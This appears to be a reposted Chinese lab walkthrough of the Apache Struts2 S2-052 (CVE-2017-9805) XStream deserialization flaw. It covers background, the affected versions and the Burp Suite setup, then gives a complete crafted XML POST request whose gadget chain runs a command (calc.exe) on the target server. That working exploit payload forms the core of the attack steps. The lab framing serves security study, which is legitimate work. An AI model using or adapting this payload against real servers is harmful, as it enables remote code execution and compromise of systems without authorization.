【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)

来源:互联网 发布:php 数组变字符串 编辑:程序博客网 时间:2024/05/20 03:40

**操作机:**Windows 7

**目标IP:**172.16.11.2:8080

实验工具:
Burp Suite:是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架,本次试验主要用到它的抓包改包功能。
Metasploit:一款开源的安全漏洞检测利用工具

实验内容:

Struts

Struts是Apache基金会的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。

目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。

漏洞介绍:
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-052,CVE编号CVE-2017-9805。

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

影响范围

Struts 2.5 - Struts 2.5.12

不受影响的版本

Struts 2.5.13

快速检测方式

使用知道创宇SeeBug可以直接检测站点是否存在本漏洞

漏洞危害

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

实验步骤
步骤1:开启代理,访问目标网站
启动tomcat服务器,进行操作
这里写图片描述
打开页面:
这里写图片描述
编辑页面,打开抓包工具在提交信息前设置代理,抓包–>然后改包
将抓取的包改为如下:
修改POST数据包如下:

POST /struts2-rest-showcase/orders/3/edit;jsessionid=F455F4577F3AC37C743B888B17C7A05E HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/xmlContent-Length: 1659Referer: http://127.0.0.1:8080/orders/3/editCookie: JSESSIONID=F455F4577F3AC37C743B888B17C7A05EConnection: closeUpgrade-Insecure-Requests: 1<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>C:\Windows\System32\calc.exe </string></command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>

如图:

这里写图片描述
点击forward传到tomcat服务器,可以检测出存在漏洞。
500代表服务器存在问题:
这里写图片描述

阅读全文
0 0
原创粉丝点击